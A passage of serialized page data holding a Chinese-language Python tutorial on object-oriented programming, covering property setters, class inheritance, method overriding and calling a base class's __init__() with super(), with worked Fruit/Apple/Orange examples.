\n",{"type":18,"tag":297,"props":79699,"children":79700},{"class":299,"line":799},[79701],{"type":18,"tag":297,"props":79702,"children":79703},{},[79704],{"type":24,"value":36783},{"type":18,"tag":297,"props":79706,"children":79707},{"class":299,"line":808},[79708],{"type":18,"tag":297,"props":79709,"children":79710},{},[79711],{"type":24,"value":79496},{"type":18,"tag":297,"props":79713,"children":79714},{"class":299,"line":817},[79715],{"type":18,"tag":297,"props":79716,"children":79717},{},[79718],{"type":24,"value":79504},{"type":18,"tag":297,"props":79720,"children":79721},{"class":299,"line":826},[79722],{"type":18,"tag":297,"props":79723,"children":79724},{},[79725],{"type":24,"value":36783},{"type":18,"tag":297,"props":79727,"children":79728},{"class":299,"line":4524},[79729],{"type":18,"tag":297,"props":79730,"children":79731},{},[79732],{"type":24,"value":79733},"    @property                                     # 将方法转换为属性  \n",{"type":18,"tag":297,"props":79735,"children":79736},{"class":299,"line":4533},[79737],{"type":18,"tag":297,"props":79738,"children":79739},{},[79740],{"type":24,"value":79741},"    def show(self):                               # 定义show()方法  \n",{"type":18,"tag":297,"props":79743,"children":79744},{"class":299,"line":4546},[79745],{"type":18,"tag":297,"props":79746,"children":79747},{},[79748],{"type":24,"value":79749},"        return self.__show                        # 返回私有属性的值  \n",{"type":18,"tag":297,"props":79751,"children":79752},{"class":299,"line":4555},[79753],{"type":18,"tag":297,"props":79754,"children":79755},{},[79756],{"type":24,"value":36783},{"type":18,"tag":297,"props":79758,"children":79759},{"class":299,"line":4568},[79760],{"type":18,"tag":297,"props":79761,"children":79762},{},[79763],{"type":24,"value":79764},"    @show.setter                                  # 设置setter方法，让属性可修改  \n",{"type":18,"tag":297,"props":79766,"children":79767},{"class":299,"line":4577},[79768],{"type":18,"tag":297,"props":79769,"children":79770},{},[79771],{"type":24,"value":79772},"    def show(self,value):  \n",{"type":18,"tag":297,"props":79774,"children":79775},{"class":299,"line":4590},[79776],{"type":18,"tag":297,"props":79777,"children":79778},{},[79779],{"type":24,"value":79780},"        if value in TVshow.list_film:             # 判断值是否在列表中  \n",{"type":18,"tag":297,"props":79782,"children":79783},{"class":299,"line":4599},[79784],{"type":18,"tag":297,"props":79785,"children":79786},{},[79787],{"type":24,"value":79788},"            self.__show = \"您选择了《\" + value + \"》，稍后将播放\"  # 返回修改的值  \n",{"type":18,"tag":297,"props":79790,"children":79791},{"class":299,"line":4607},[79792],{"type":18,"tag":297,"props":79793,"children":79794},{},[79795],{"type":24,"value":45251},{"type":18,"tag":297,"props":79797,"children":79798},{"class":299,"line":4616},[79799],{"type":18,"tag":297,"props":79800,"children":79801},{},[79802],{"type":24,"value":79803},"            self.__show = \"您点播的电影不存在\"  \n",{"type":18,"tag":297,"props":79805,"children":79806},{"class":299,"line":4624},[79807],{"type":18,"tag":297,"props":79808,"children":79809},{},[79810],{"type":24,"value":36783},{"type":18,"tag":297,"props":79812,"children":79813},{"class":299,"line":4633},[79814],{"type":18,"tag":297,"props":79815,"children":79816},{},[79817],{"type":24,"value":79818},"tvshow = TVshow(\"战狼2\")                          # 创建类的实例  \n",{"type":18,"tag":297,"props":79820,"children":79821},{"class":299,"line":4641},[79822],{"type":18,"tag":297,"props":79823,"children":79824},{},[79825],{"type":24,"value":79826},"print(\"正在播放：《\",tvshow.show,\"》\")             # 获取属性值  \n",{"type":18,"tag":297,"props":79828,"children":79829},{"class":299,"line":4650},[79830],{"type":18,"tag":297,"props":79831,"children":79832},{},[79833],{"type":24,"value":79834},"print(\"您可以从\",tvshow.list_film,\"中选择要点播放的电影\")  \n",{"type":18,"tag":297,"props":79836,"children":79837},{"class":299,"line":4658},[79838],{"type":18,"tag":297,"props":79839,"children":79840},{},[79841],{"type":24,"value":79842},"tvshow.show = \"红海行动\"                           # 修改属性值  \n",{"type":18,"tag":297,"props":79844,"children":79845},{"class":299,"line":4681},[79846],{"type":18,"tag":297,"props":79847,"children":79848},{},[79849],{"type":24,"value":79850},"print(tvshow.show)                                # 获取属性值\n",{"type":18,"tag":34,"props":79852,"children":79853},{},[79854],{"type":24,"value":79855},"运行结果如下所示：",{"type":18,"tag":287,"props":79857,"children":79859},{"code":79858},"正在播放：《 战狼2 》\n您可以从 ['战狼2', '红海行动', '西游记女儿国', '熊出没・变形记'] 中选择要点播放的电影\n您选择了《红海行动》，稍后将播放\n",[79860],{"type":18,"tag":74,"props":79861,"children":79862},{"__ignoreMap":8},[79863],{"type":24,"value":79858},{"type":18,"tag":34,"props":79865,"children":79866},{},[79867],{"type":24,"value":79868},"如果将第17行代码中的“红海行动”修改为“流浪地球”，将显示如下所示的效果。",{"type":18,"tag":287,"props":79870,"children":79872},{"code":79871},"正在播放：《 战狼2 》\n您可以从 ['战狼2', '红海行动', '西游记女儿国', '熊出没・变形记'] 中选择要点播放的电影\n您点播的电影不存在\n",[79873],{"type":18,"tag":74,"props":79874,"children":79875},{"__ignoreMap":8},[79876],{"type":24,"value":79871},{"type":18,"tag":19,"props":79878,"children":79880},{"id":79879},"_7-继承",[79881],{"type":24,"value":79882},"7 继承",{"type":18,"tag":27,"props":79884,"children":79886},{"id":79885},"_71-继承的基本语法",[79887],{"type":24,"value":79888},"7.1 继承的基本语法",{"type":18,"tag":34,"props":79890,"children":79891},{},[79892],{"type":24,"value":79893},"在编写类时，并不是每次都要从空白开始。当要编写的类和另一个已经存在的类之间存在一定的继承关系时，就可以通过继承来达到代码重用的目的，提高开发效率。",{"type":18,"tag":34,"props":79895,"children":79896},{},[79897,79899,79904],{"type":24,"value":79898},"继承是面向对象编程最重要的特性之一，它源于人们认识客观世界的过程，是自然界普遍存在的一种现象。例如，我们每一个人都从祖辈和父母那里继承了一些体貌特征，但是每个人却又不同于父母，因为每个人都存在自己的一些特性，这些特性是独有的，在父母身上并没有体现。在程序设计中实现继承，表示这个类拥有它继承的类的所有公有成员或者受保护成员。在面向对象编程中，",{"type":18,"tag":105,"props":79900,"children":79901},{},[79902],{"type":24,"value":79903},"被继承的类称为父类或基类，新的类称为子类或派生类",{"type":24,"value":111},{"type":18,"tag":34,"props":79906,"children":79907},{},[79908,79910,79915],{"type":24,"value":79909},"通过继承不仅可以实现代码的重用，还可以通过继承来理顺类与类之间的关系。在Python中，可以在类定义语句中，",{"type":18,"tag":105,"props":79911,"children":79912},{},[79913],{"type":24,"value":79914},"类名右侧使用一对小括号将要继承的基类名称括起来，从而实现类的继承",{"type":24,"value":79916},"。具体的语法格式如下：",{"type":18,"tag":287,"props":79918,"children":79920},{"code":79919,"language":28712,"meta":8,"className":28710,"style":8},"class ClassName(baseclasslist):  \n    '''类的帮助信息'''                     # 类文档字符串  \n    statement                            # 类体\n",[79921],{"type":18,"tag":74,"props":79922,"children":79923},{"__ignoreMap":8},[79924,79932,79940],{"type":18,"tag":297,"props":79925,"children":79926},{"class":299,"line":300},[79927],{"type":18,"tag":297,"props":79928,"children":79929},{},[79930],{"type":24,"value":79931},"class ClassName(baseclasslist):  \n",{"type":18,"tag":297,"props":79933,"children":79934},{"class":299,"line":657},[79935],{"type":18,"tag":297,"props":79936,"children":79937},{},[79938],{"type":24,"value":79939},"    '''类的帮助信息'''                     # 类文档字符串  \n",{"type":18,"tag":297,"props":79941,"children":79942},{"class":299,"line":662},[79943],{"type":18,"tag":297,"props":79944,"children":79945},{},[79946],{"type":24,"value":79947},"    statement                            # 类体\n",{"type":18,"tag":34,"props":79949,"children":79950},{},[79951],{"type":24,"value":75828},{"type":18,"tag":210,"props":79953,"children":79954},{},[79955,79969,79993,80013],{"type":18,"tag":158,"props":79956,"children":79957},{},[79958,79963,79964,79968],{"type":18,"tag":74,"props":79959,"children":79961},{"className":79960},[],[79962],{"type":24,"value":75840},{"type":24,"value":75842},{"type":18,"tag":105,"props":79965,"children":79966},{},[79967],{"type":24,"value":75847},{"type":24,"value":111},{"type":18,"tag":158,"props":79970,"children":79971},{},[79972,79978,79979,79984,79986,79991],{"type":18,"tag":74,"props":79973,"children":79975},{"className":79974},[],[79976],{"type":24,"value":79977},"baseclasslist",{"type":24,"value":75842},{"type":18,"tag":105,"props":79980,"children":79981},{},[79982],{"type":24,"value":79983},"指定要继承的基类",{"type":24,"value":79985},"，可以有多个，类名之间用逗号",{"type":18,"tag":74,"props":79987,"children":79989},{"className":79988},[],[79990],{"type":24,"value":17444},{"type":24,"value":79992},"分隔。如果不指定，将使用所有Python对象的根类object。",{"type":18,"tag":158,"props":79994,"children":79995},{},[79996,80001,80002,80006,80007,80012],{"type":18,"tag":74,"props":79997,"children":79999},{"className":79998},[],[80000],{"type":24,"value":75865},{"type":24,"value":75842},{"type":18,"tag":105,"props":80003,"children":80004},{},[80005],{"type":24,"value":75871},{"type":24,"value":75873},{"type":18,"tag":74,"props":80008,"children":80010},{"className":80009},[],[80011],{"type":24,"value":16593},{"type":24,"value":75880},{"type":18,"tag":158,"props":80014,"children":80015},{},[80016,80021,80022,80027,80029,80034],{"type":18,"tag":74,"props":80017,"children":80019},{"className":80018},[],[80020],{"type":24,"value":75889},{"type":24,"value":222},{"type":18,"tag":105,"props":80023,"children":80024},{},[80025],{"type":24,"value":80026},"类体",{"type":24,"value":80028},"，主要由类变量（或类成员）、方法和属性等定义语句组成。如果在定义类时，没想好类的具体功能，也可以在类体中直接使用",{"type":18,"tag":74,"props":80030,"children":80032},{"className":80031},[],[80033],{"type":24,"value":75903},{"type":24,"value":75905},{"type":18,"tag":34,"props":80036,"children":80037},{},[80038],{"type":18,"tag":105,"props":80039,"children":80040},{},[80041],{"type":24,"value":80042},"实例  创建水果基类及其派生类",{"type":18,"tag":34,"props":80044,"children":80045},{},[80046,80047,80053,80055,80061,80063,80069,80071,80077,80079,80085,80087,80092,80094,80099,80100,80105,80107,80112],{"type":24,"value":77737},{"type":18,"tag":74,"props":80048,"children":80050},{"className":80049},[],[80051],{"type":24,"value":80052},"fruit.py",{"type":24,"value":80054},"的文件，然后在该文件中定义一个水果类",{"type":18,"tag":74,"props":80056,"children":80058},{"className":80057},[],[80059],{"type":24,"value":80060},"Fruit",{"type":24,"value":80062},"（作为基类），并在该类中定义一个类属性（用于保存水果默认的颜色）和一个",{"type":18,"tag":74,"props":80064,"children":80066},{"className":80065},[],[80067],{"type":24,"value":80068},"harvest()",{"type":24,"value":80070},"方法，然后创建",{"type":18,"tag":74,"props":80072,"children":80074},{"className":80073},[],[80075],{"type":24,"value":80076},"Apple",{"type":24,"value":80078},"类和",{"type":18,"tag":74,"props":80080,"children":80082},{"className":80081},[],[80083],{"type":24,"value":80084},"Orange",{"type":24,"value":80086},"类，都继承自",{"type":18,"tag":74,"props":80088,"children":80090},{"className":80089},[],[80091],{"type":24,"value":80060},{"type":24,"value":80093},"类，最后创建",{"type":18,"tag":74,"props":80095,"children":80097},{"className":80096},[],[80098],{"type":24,"value":80076},{"type":24,"value":80078},{"type":18,"tag":74,"props":80101,"children":80103},{"className":80102},[],[80104],{"type":24,"value":80084},{"type":24,"value":80106},"类的实例，并调用",{"type":18,"tag":74,"props":80108,"children":80110},{"className":80109},[],[80111],{"type":24,"value":80068},{"type":24,"value":80113},"方法（在基类中编写），代码如下：",{"type":18,"tag":287,"props":80115,"children":80117},{"code":80116,"language":28712,"meta":8,"className":28710,"style":8},"class Fruit:                                           # 定义水果类（基类）  \n    color = \"绿色\"                                     # 定义类属性  \n    def harvest(self, color):  \n        print(\"水果是：\" + color + \"的！\")              # 输出的是形式参数color  \n        print(\"水果已经收获……\")  \n        print(\"水果原来是：\" + Fruit.color + \"的！\")     # 输出的是类属性color  \n  \nclass Apple(Fruit):                                    # 定义苹果类（派生类)  \n    color = \"红色\"  \n    def __init__(self):  \n        print(\"我是苹果\")  \n  \nclass Orange(Fruit):                                   # 定义橘子类（派生类）  \n    color = \"橙色\"  \n    def __init__(self):  \n        print(\"\\n我是橘子\")  \n  \napple = Apple()                                         # 创建类的实例（苹果）  \napple.harvest(apple.color)                              # 调用基类的harvest()方法  \norange = Orange()                                       # 创建类的实例（橘子）  \norange.harvest(orange.color)                            # 调用基类的harvest()方法\n",[80118],{"type":18,"tag":74,"props":80119,"children":80120},{"__ignoreMap":8},[80121,80129,80137,80145,80153,80161,80169,80176,80184,80192,80199,80207,80214,80222,80230,80237,80245,80252,80260,80268,80276],{"type":18,"tag":297,"props":80122,"children":80123},{"class":299,"line":300},[80124],{"type":18,"tag":297,"props":80125,"children":80126},{},[80127],{"type":24,"value":80128},"class Fruit:                                           # 定义水果类（基类）  \n",{"type":18,"tag":297,"props":80130,"children":80131},{"class":299,"line":657},[80132],{"type":18,"tag":297,"props":80133,"children":80134},{},[80135],{"type":24,"value":80136},"    color = \"绿色\"                                     # 定义类属性  \n",{"type":18,"tag":297,"props":80138,"children":80139},{"class":299,"line":662},[80140],{"type":18,"tag":297,"props":80141,"children":80142},{},[80143],{"type":24,"value":80144},"    def harvest(self, color):  \n",{"type":18,"tag":297,"props":80146,"children":80147},{"class":299,"line":799},[80148],{"type":18,"tag":297,"props":80149,"children":80150},{},[80151],{"type":24,"value":80152},"        print(\"水果是：\" + color + \"的！\")              # 输出的是形式参数color  \n",{"type":18,"tag":297,"props":80154,"children":80155},{"class":299,"line":808},[80156],{"type":18,"tag":297,"props":80157,"children":80158},{},[80159],{"type":24,"value":80160},"        print(\"水果已经收获……\")  \n",{"type":18,"tag":297,"props":80162,"children":80163},{"class":299,"line":817},[80164],{"type":18,"tag":297,"props":80165,"children":80166},{},[80167],{"type":24,"value":80168},"        print(\"水果原来是：\" + Fruit.color + \"的！\")     # 输出的是类属性color  \n",{"type":18,"tag":297,"props":80170,"children":80171},{"class":299,"line":826},[80172],{"type":18,"tag":297,"props":80173,"children":80174},{},[80175],{"type":24,"value":36783},{"type":18,"tag":297,"props":80177,"children":80178},{"class":299,"line":4524},[80179],{"type":18,"tag":297,"props":80180,"children":80181},{},[80182],{"type":24,"value":80183},"class Apple(Fruit):                                    # 定义苹果类（派生类)  \n",{"type":18,"tag":297,"props":80185,"children":80186},{"class":299,"line":4533},[80187],{"type":18,"tag":297,"props":80188,"children":80189},{},[80190],{"type":24,"value":80191},"    color = \"红色\"  \n",{"type":18,"tag":297,"props":80193,"children":80194},{"class":299,"line":4546},[80195],{"type":18,"tag":297,"props":80196,"children":80197},{},[80198],{"type":24,"value":71734},{"type":18,"tag":297,"props":80200,"children":80201},{"class":299,"line":4555},[80202],{"type":18,"tag":297,"props":80203,"children":80204},{},[80205],{"type":24,"value":80206},"        print(\"我是苹果\")  \n",{"type":18,"tag":297,"props":80208,"children":80209},{"class":299,"line":4568},[80210],{"type":18,"tag":297,"props":80211,"children":80212},{},[80213],{"type":24,"value":36783},{"type":18,"tag":297,"props":80215,"children":80216},{"class":299,"line":4577},[80217],{"type":18,"tag":297,"props":80218,"children":80219},{},[80220],{"type":24,"value":80221},"class Orange(Fruit):                                   # 定义橘子类（派生类）  \n",{"type":18,"tag":297,"props":80223,"children":80224},{"class":299,"line":4590},[80225],{"type":18,"tag":297,"props":80226,"children":80227},{},[80228],{"type":24,"value":80229},"    color = \"橙色\"  \n",{"type":18,"tag":297,"props":80231,"children":80232},{"class":299,"line":4599},[80233],{"type":18,"tag":297,"props":80234,"children":80235},{},[80236],{"type":24,"value":71734},{"type":18,"tag":297,"props":80238,"children":80239},{"class":299,"line":4607},[80240],{"type":18,"tag":297,"props":80241,"children":80242},{},[80243],{"type":24,"value":80244},"        print(\"\\n我是橘子\")  \n",{"type":18,"tag":297,"props":80246,"children":80247},{"class":299,"line":4616},[80248],{"type":18,"tag":297,"props":80249,"children":80250},{},[80251],{"type":24,"value":36783},{"type":18,"tag":297,"props":80253,"children":80254},{"class":299,"line":4624},[80255],{"type":18,"tag":297,"props":80256,"children":80257},{},[80258],{"type":24,"value":80259},"apple = Apple()                                         # 创建类的实例（苹果）  \n",{"type":18,"tag":297,"props":80261,"children":80262},{"class":299,"line":4633},[80263],{"type":18,"tag":297,"props":80264,"children":80265},{},[80266],{"type":24,"value":80267},"apple.harvest(apple.color)                              # 调用基类的harvest()方法  \n",{"type":18,"tag":297,"props":80269,"children":80270},{"class":299,"line":4641},[80271],{"type":18,"tag":297,"props":80272,"children":80273},{},[80274],{"type":24,"value":80275},"orange = Orange()                                       # 创建类的实例（橘子）  \n",{"type":18,"tag":297,"props":80277,"children":80278},{"class":299,"line":4650},[80279],{"type":18,"tag":297,"props":80280,"children":80281},{},[80282],{"type":24,"value":80283},"orange.harvest(orange.color)                            # 调用基类的harvest()方法\n",{"type":18,"tag":34,"props":80285,"children":80286},{},[80287,80289,80294,80295,80300,80302,80307,80309,80314],{"type":24,"value":80288},"执行上面的代码，将显示如图所示的运行结果。从该运行结果中可以看出，虽然在",{"type":18,"tag":74,"props":80290,"children":80292},{"className":80291},[],[80293],{"type":24,"value":80076},{"type":24,"value":80078},{"type":18,"tag":74,"props":80296,"children":80298},{"className":80297},[],[80299],{"type":24,"value":80084},{"type":24,"value":80301},"类中没有",{"type":18,"tag":74,"props":80303,"children":80305},{"className":80304},[],[80306],{"type":24,"value":80068},{"type":24,"value":80308},"方法，但是",{"type":18,"tag":105,"props":80310,"children":80311},{},[80312],{"type":24,"value":80313},"Python允许派生类访问基类的方法",{"type":24,"value":111},{"type":18,"tag":34,"props":80316,"children":80317},{},[80318],{"type":18,"tag":54,"props":80319,"children":80322},{"alt":80320,"src":80321},"Pasted image 20250809213928","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250809213928.png",[],{"type":18,"tag":27,"props":80324,"children":80326},{"id":80325},"_72-方法重写",[80327],{"type":24,"value":80328},"7.2 方法重写",{"type":18,"tag":34,"props":80330,"children":80331},{},[80332],{"type":24,"value":80333},"基类的成员都会被派生类继承，当基类中的某个方法不完全适用于派生类时，就需要在派生类中重写父类的这个方法，这和Java语言中的方法重写是一样的。",{"type":18,"tag":34,"props":80335,"children":80336},{},[80337,80339,80344,80346,80351,80353,80358,80360,80365],{"type":24,"value":80338},"在实例中，基类中定义的",{"type":18,"tag":74,"props":80340,"children":80342},{"className":80341},[],[80343],{"type":24,"value":80068},{"type":24,"value":80345},"方法，无论派生类是什么水果都显示“水果……”，如果想要针对不同水果给出不同的提示，可以在派生类中重写",{"type":18,"tag":74,"props":80347,"children":80349},{"className":80348},[],[80350],{"type":24,"value":80068},{"type":24,"value":80352},"方法。例如，在创建派生类",{"type":18,"tag":74,"props":80354,"children":80356},{"className":80355},[],[80357],{"type":24,"value":80084},{"type":24,"value":80359},"时，重写",{"type":18,"tag":74,"props":80361,"children":80363},{"className":80362},[],[80364],{"type":24,"value":80068},{"type":24,"value":80366},"方法的代码如下：",{"type":18,"tag":287,"props":80368,"children":80370},{"code":80369,"language":28712,"meta":8,"className":28710,"style":8},"class Orange(Fruit):                                    # 定义橘子类（派生类)  \n    color = \"橙色\"  \n    def __init__(self):  \n        print(\"\\n我是橘子\")  \n  \n    def harvest(self, color):  \n        print(\"橘子是：\" + color + \"的！\")               # 输出的是形式参数color  \n        print(\"橘子已经收获……\")  \n        print(\"橘子原来是：\" + Fruit.color + \"的！\")      # 输出的是类属性color\n",[80371],{"type":18,"tag":74,"props":80372,"children":80373},{"__ignoreMap":8},[80374,80382,80389,80396,80403,80410,80417,80425,80433],{"type":18,"tag":297,"props":80375,"children":80376},{"class":299,"line":300},[80377],{"type":18,"tag":297,"props":80378,"children":80379},{},[80380],{"type":24,"value":80381},"class Orange(Fruit):                                    # 定义橘子类（派生类)  \n",{"type":18,"tag":297,"props":80383,"children":80384},{"class":299,"line":657},[80385],{"type":18,"tag":297,"props":80386,"children":80387},{},[80388],{"type":24,"value":80229},{"type":18,"tag":297,"props":80390,"children":80391},{"class":299,"line":662},[80392],{"type":18,"tag":297,"props":80393,"children":80394},{},[80395],{"type":24,"value":71734},{"type":18,"tag":297,"props":80397,"children":80398},{"class":299,"line":799},[80399],{"type":18,"tag":297,"props":80400,"children":80401},{},[80402],{"type":24,"value":80244},{"type":18,"tag":297,"props":80404,"children":80405},{"class":299,"line":808},[80406],{"type":18,"tag":297,"props":80407,"children":80408},{},[80409],{"type":24,"value":36783},{"type":18,"tag":297,"props":80411,"children":80412},{"class":299,"line":817},[80413],{"type":18,"tag":297,"props":80414,"children":80415},{},[80416],{"type":24,"value":80144},{"type":18,"tag":297,"props":80418,"children":80419},{"class":299,"line":826},[80420],{"type":18,"tag":297,"props":80421,"children":80422},{},[80423],{"type":24,"value":80424},"        print(\"橘子是：\" + color + \"的！\")               # 输出的是形式参数color  \n",{"type":18,"tag":297,"props":80426,"children":80427},{"class":299,"line":4524},[80428],{"type":18,"tag":297,"props":80429,"children":80430},{},[80431],{"type":24,"value":80432},"        print(\"橘子已经收获……\")  \n",{"type":18,"tag":297,"props":80434,"children":80435},{"class":299,"line":4533},[80436],{"type":18,"tag":297,"props":80437,"children":80438},{},[80439],{"type":24,"value":80440},"        print(\"橘子原来是：\" + Fruit.color + \"的！\")      # 输出的是类属性color\n",{"type":18,"tag":34,"props":80442,"children":80443},{},[80444,80445,80450],{"type":24,"value":49740},{"type":18,"tag":74,"props":80446,"children":80448},{"className":80447},[],[80449],{"type":24,"value":80068},{"type":24,"value":80451},"方法后（即在实例中添加上面代码中的05~08行代码），再次运行实例，将显示如图所示的运行结果。",{"type":18,"tag":34,"props":80453,"children":80454},{},[80455],{"type":18,"tag":54,"props":80456,"children":80459},{"alt":80457,"src":80458},"Pasted image 20250809215755","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250809215755.png",[],{"type":18,"tag":27,"props":80461,"children":80463},{"id":80462},"_73-派生类中调用基类的__init__方法",[80464],{"type":24,"value":80465},"7.3 派生类中调用基类的__init__()方法",{"type":18,"tag":34,"props":80467,"children":80468},{},[80469,80471,80476,80478,80483,80485,80490,80492,80497,80499,80505,80507,80512,80514,80519,80521,80526,80528,80533,80534,80539,80540,80545,80546,80551],{"type":24,"value":80470},"在派生类中定义",{"type":18,"tag":74,"props":80472,"children":80474},{"className":80473},[],[80475],{"type":24,"value":76015},{"type":24,"value":80477},"方法时，不会自动调用基类的",{"type":18,"tag":74,"props":80479,"children":80481},{"className":80480},[],[80482],{"type":24,"value":76015},{"type":24,"value":80484},"方法。例如，定义一个",{"type":18,"tag":74,"props":80486,"children":80488},{"className":80487},[],[80489],{"type":24,"value":80060},{"type":24,"value":80491},"类，在",{"type":18,"tag":74,"props":80493,"children":80495},{"className":80494},[],[80496],{"type":24,"value":76015},{"type":24,"value":80498},"方法中创建类属性",{"type":18,"tag":74,"props":80500,"children":80502},{"className":80501},[],[80503],{"type":24,"value":80504},"color",{"type":24,"value":80506},"，然后在",{"type":18,"tag":74,"props":80508,"children":80510},{"className":80509},[],[80511],{"type":24,"value":80060},{"type":24,"value":80513},"类中定义一个",{"type":18,"tag":74,"props":80515,"children":80517},{"className":80516},[],[80518],{"type":24,"value":80068},{"type":24,"value":80520},"方法，在该方法中输出类属性",{"type":18,"tag":74,"props":80522,"children":80524},{"className":80523},[],[80525],{"type":24,"value":80504},{"type":24,"value":80527},"的值，再创建继承自",{"type":18,"tag":74,"props":80529,"children":80531},{"className":80530},[],[80532],{"type":24,"value":80060},{"type":24,"value":43752},{"type":18,"tag":74,"props":80535,"children":80537},{"className":80536},[],[80538],{"type":24,"value":80076},{"type":24,"value":80093},{"type":18,"tag":74,"props":80541,"children":80543},{"className":80542},[],[80544],{"type":24,"value":80076},{"type":24,"value":80106},{"type":18,"tag":74,"props":80547,"children":80549},{"className":80548},[],[80550],{"type":24,"value":80068},{"type":24,"value":76179},{"type":18,"tag":287,"props":80553,"children":80555},{"code":80554,"language":28712,"meta":8,"className":28710,"style":8},"class Fruit:                             # 定义水果类（基类）  \n  \n    def __init__(self,color = \"绿色\"):  \n        Fruit.color = color              # 定义类属性  \n  \n    def harvest(self):  \n        print(\"水果原来是：\" + Fruit.color + \"的！\")    # 输出的是类属性color  \n  \nclass Apple(Fruit):                      # 定义苹果类（派生类）  \n  \n    def __init__(self):  \n        print(\"我是苹果\")  \n  \napple = Apple()                          # 创建类的实例（苹果）  \napple.harvest()                          # 调用基类的harvest()方法\n",[80556],{"type":18,"tag":74,"props":80557,"children":80558},{"__ignoreMap":8},[80559,80567,80574,80582,80590,80597,80605,80613,80620,80628,80635,80642,80649,80656,80664],{"type":18,"tag":297,"props":80560,"children":80561},{"class":299,"line":300},[80562],{"type":18,"tag":297,"props":80563,"children":80564},{},[80565],{"type":24,"value":80566},"class Fruit:                             # 定义水果类（基类）  \n",{"type":18,"tag":297,"props":80568,"children":80569},{"class":299,"line":657},[80570],{"type":18,"tag":297,"props":80571,"children":80572},{},[80573],{"type":24,"value":36783},{"type":18,"tag":297,"props":80575,"children":80576},{"class":299,"line":662},[80577],{"type":18,"tag":297,"props":80578,"children":80579},{},[80580],{"type":24,"value":80581},"    def __init__(self,color = \"绿色\"):  \n",{"type":18,"tag":297,"props":80583,"children":80584},{"class":299,"line":799},[80585],{"type":18,"tag":297,"props":80586,"children":80587},{},[80588],{"type":24,"value":80589},"        Fruit.color = color              # 定义类属性  \n",{"type":18,"tag":297,"props":80591,"children":80592},{"class":299,"line":808},[80593],{"type":18,"tag":297,"props":80594,"children":80595},{},[80596],{"type":24,"value":36783},{"type":18,"tag":297,"props":80598,"children":80599},{"class":299,"line":817},[80600],{"type":18,"tag":297,"props":80601,"children":80602},{},[80603],{"type":24,"value":80604},"    def harvest(self):  \n",{"type":18,"tag":297,"props":80606,"children":80607},{"class":299,"line":826},[80608],{"type":18,"tag":297,"props":80609,"children":80610},{},[80611],{"type":24,"value":80612},"        print(\"水果原来是：\" + Fruit.color + \"的！\")    # 输出的是类属性color  \n",{"type":18,"tag":297,"props":80614,"children":80615},{"class":299,"line":4524},[80616],{"type":18,"tag":297,"props":80617,"children":80618},{},[80619],{"type":24,"value":36783},{"type":18,"tag":297,"props":80621,"children":80622},{"class":299,"line":4533},[80623],{"type":18,"tag":297,"props":80624,"children":80625},{},[80626],{"type":24,"value":80627},"class Apple(Fruit):                      # 定义苹果类（派生类）  \n",{"type":18,"tag":297,"props":80629,"children":80630},{"class":299,"line":4546},[80631],{"type":18,"tag":297,"props":80632,"children":80633},{},[80634],{"type":24,"value":36783},{"type":18,"tag":297,"props":80636,"children":80637},{"class":299,"line":4555},[80638],{"type":18,"tag":297,"props":80639,"children":80640},{},[80641],{"type":24,"value":71734},{"type":18,"tag":297,"props":80643,"children":80644},{"class":299,"line":4568},[80645],{"type":18,"tag":297,"props":80646,"children":80647},{},[80648],{"type":24,"value":80206},{"type":18,"tag":297,"props":80650,"children":80651},{"class":299,"line":4577},[80652],{"type":18,"tag":297,"props":80653,"children":80654},{},[80655],{"type":24,"value":36783},{"type":18,"tag":297,"props":80657,"children":80658},{"class":299,"line":4590},[80659],{"type":18,"tag":297,"props":80660,"children":80661},{},[80662],{"type":24,"value":80663},"apple = Apple()                          # 创建类的实例（苹果）  \n",{"type":18,"tag":297,"props":80665,"children":80666},{"class":299,"line":4599},[80667],{"type":18,"tag":297,"props":80668,"children":80669},{},[80670],{"type":24,"value":80671},"apple.harvest()                          # 调用基类的harvest()方法\n",{"type":18,"tag":34,"props":80673,"children":80674},{},[80675],{"type":24,"value":80676},"执行上面的代码后，将显示如图所示的异常信息：",{"type":18,"tag":34,"props":80678,"children":80679},{},[80680],{"type":18,"tag":54,"props":80681,"children":80684},{"alt":80682,"src":80683},"Pasted image 20250809220147","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250809220147.png",[],{"type":18,"tag":34,"props":80686,"children":80687},{},[80688,80690,80695,80697,80703,80705,80710],{"type":24,"value":80689},"因此，要让派生类调用基类的",{"type":18,"tag":74,"props":80691,"children":80693},{"className":80692},[],[80694],{"type":24,"value":76015},{"type":24,"value":80696},"方法进行必要的初始化，需要在派生类使用",{"type":18,"tag":74,"props":80698,"children":80700},{"className":80699},[],[80701],{"type":24,"value":80702},"super()",{"type":24,"value":80704},"函数调用基类的",{"type":18,"tag":74,"props":80706,"children":80708},{"className":80707},[],[80709],{"type":24,"value":76015},{"type":24,"value":80711},"方法。例如，在上面代码的第8行代码的下方添加以下代码：",{"type":18,"tag":287,"props":80713,"children":80715},{"code":80714,"language":28712,"meta":8,"className":28710,"style":8},"super().__init__()      # 调用基类的__init__()方法\n",[80716],{"type":18,"tag":74,"props":80717,"children":80718},{"__ignoreMap":8},[80719],{"type":18,"tag":297,"props":80720,"children":80721},{"class":299,"line":300},[80722],{"type":18,"tag":297,"props":80723,"children":80724},{},[80725],{"type":24,"value":80714},{"type":18,"tag":96,"props":80727,"children":80728},{},[80729],{"type":18,"tag":34,"props":80730,"children":80731},{},[80732],{"type":24,"value":80733},"注意：在添加上面的代码时，一定要注意缩进的正确性。",{"type":18,"tag":34,"props":80735,"children":80736},{},[80737],{"type":24,"value":80738},"运行后将显示以下正常的运行结果：",{"type":18,"tag":287,"props":80740,"children":80742},{"code":80741},"我是苹果\n水果原来是：绿色的！\n",[80743],{"type":18,"tag":74,"props":80744,"children":80745},{"__ignoreMap":8},[80746],{"type":24,"value":80741},{"type":18,"tag":34,"props":80748,"children":80749},{},[80750,80752,80757],{"type":24,"value":80751},"下面通过一个具体实例演示派生类中调用基类的",{"type":18,"tag":74,"props":80753,"children":80755},{"className":80754},[],[80756],{"type":24,"value":76015},{"type":24,"value":80758},"方法的具体的应用。",{"type":18,"tag":34,"props":80760,"children":80761},{},[80762],{"type":18,"tag":105,"props":80763,"children":80764},{},[80765],{"type":24,"value":80766},"实例  